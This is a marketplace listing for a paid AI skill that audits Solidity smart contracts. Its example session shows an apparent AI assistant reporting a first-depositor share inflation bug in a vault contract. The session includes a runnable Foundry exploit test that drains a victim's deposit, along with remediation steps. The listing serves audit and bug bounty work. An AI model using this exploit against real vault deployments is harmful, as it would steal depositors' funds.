- Home
- Skills
- Web3 & Crypto
- Smart Contract Audit Hunter
Smart Contract Audit Hunter
by Pum482930
Systematic Solidity auditing workflow for finding, validating, and reporting smart contract vulnerabilities with Foundry PoCs.
$5
Smart Contract Audit Hunter
Example session with this skill installed
Audit the Vault.sol contract in the provided repo for share price manipulation bugs. I need a Foundry PoC if you find a way to steal funds via a first-depositor inflation attack.
- Read your context and instructions
- Compiled the smart contract audit
I have analyzed Vault.sol at commit a1b2c3d. I identified a potential first-depositor inflation attack in the deposit() function where the share calculation rounds down, allowing an attacker to inflate the share price and steal subsequent deposits.
Found Vulnerability: Share Price Inflation in Vault.sol
| ID | Title | Severity | Status | Affected File |
|---|---|---|---|---|
| H-01 | First depositor can inflate share price to steal user funds | High | Confirmed (PoC) | Vault.sol:88 |
Root Cause
In Vault.sol:88, the previewDeposit function calculates shares using (amount * totalSupply) / totalAssets(). For the first depositor, totalSupply is 0, so they receive 1:1 shares. By depositing 1 wei, then "donating" a large amount of tokens directly to the vault, the attacker increases totalAssets() without increasing totalSupply, causing future depositors to receive 0 shares for their assets.
Proof of Concept
Save this as test/Exploit.t.sol and run forge test --mt testInflationAttack.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/Vault.sol";
import "../src/MockToken.sol";
contract VaultExploitTest is Test {
Vault vault;
MockToken token;
address attacker = address(0xBAD);
address victim = address(0x123);
function setUp() public {
token = new MockToken("Test", "TST", 18);
vault = new Vault(address(token));
token.mint(attacker, 1000e18);
token.mint(victim, 1000e18);
}
function testInflationAttack() public {
// 1. Attacker deposits 1 wei
vm.startPrank(attacker);
token.approve(address(vault), 1);
vault.deposit(1, attacker);
// 2. Attacker "donates" 100e18 tokens to vault
token.transfer(address(vault), 100e18);
vm.stopPrank();
// 3. Victim deposits 50e18 tokens
vm.startPrank(victim);
token.approve(address(vault), 50e18);
vault.deposit(50e18, victim);
vm.stopPrank();
// 4. Victim receives 0 shares due to rounding
assertEq(vault.balanceOf(victim), 0);
// 5. Attacker withdraws all funds
vm.prank(attacker);
vault.withdraw(1, attacker, attacker);
assertGe(token.balanceOf(attacker), 150e18);
}
}
Next steps
- Implement the "Virtual Shares" or "Internal Accounting" pattern to prevent donation-based inflation.
- Add a minimum liquidity mint (burn first 1000 shares) to the initializer.
- Review
withdraw()to ensure it handles rounding in favor of the protocol.
Connects securely to your tools. The creator never sees your data.
About this skill
Smart contract audits often fail when they result in vague lists of theoretical risks rather than actionable, proven vulnerabilities. This skill provides a disciplined, phase-based workflow to transform an unfamiliar Solidity codebase into validated, reproducible findings that meet the standards of top-tier bug bounty platforms and competitive audit contests.
What it does
- Systematic Mapping lists entry points, privileged roles, and value flows to establish a technical map before hunting begins.
- Invariant Modeling identifies core system properties that must never be broken, such as share price integrity or withdrawal limits.
- Vulnerability Triage applies seven specific gates to every hypothesis to verify reachability, impact, and economic feasibility.
- Foundry PoC Generation produces runnable exploit tests that demonstrate concrete losses or state corruption at specific commit hashes.
- Contest-Ready Reporting structures findings into formatted reports including root cause analysis, attack paths, and remediation steps.
How it works
- Phase 0 (Intake): Provide the repo link, commit hash, and audit scope (e.g., Sherlock, Code4rena, or private review).
- Phase 1-2 (Mapping): The skill analyzes inheritance, external dependencies, and trust boundaries to build a threat model.
- Phase 3-4 (Review & Triage): It systematically reviews functions moving value or checking authority, then filters leads through reachability and impact gates.
- Phase 5-6 (Prove & Report): It generates Foundry test code to confirm the bug and writes the final report following industry templates.
Frameworks & tools
This skill utilizes Solidity and EVM-specific patterns, leveraging Foundry for proof-of-concept testing. It references tools like slither, cloc, and forge tree for codebase mapping and static analysis when available.
Why this beats prompting it yourself
Generic prompts often hallucinate vulnerabilities or miss subtle integration bugs like read-only reentrancy or L2-specific gas issues. This skill enforces a "disprove your own hypothesis" rule, ensuring you spend time only on high-severity, reachable bugs that actually pay out.
Use cases
- Audit Contests: Generate validated findings for Code4rena, Sherlock, or Codehawks competitions.
- Bug Bounties: Triage and report vulnerabilities for active Immunefi or HackenProof programs.
- Pre-deployment Review: Perform a final systematic check of internal vault, bridge, or AMM code before launch.
- Protocol Triage: Verify if a suspected bug reported by a community member is a valid threat or a duplicate.
Known limitations
Focuses strictly on Solidity and EVM chains. Vyper, Rust, and ZK circuits are supported conceptually but lack specific checklists. It cannot execute code without a local Foundry environment.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before buying a skill.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Money-back guarantee
Doesn't do what its page promises? You get your money back.
Trust & safety
Security scan
Security scan passed 3 days ago
Permissions
File Scopes
What's inside
Frequently Asked Questions
New in Web3 & Crypto
Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Web3 & Crypto.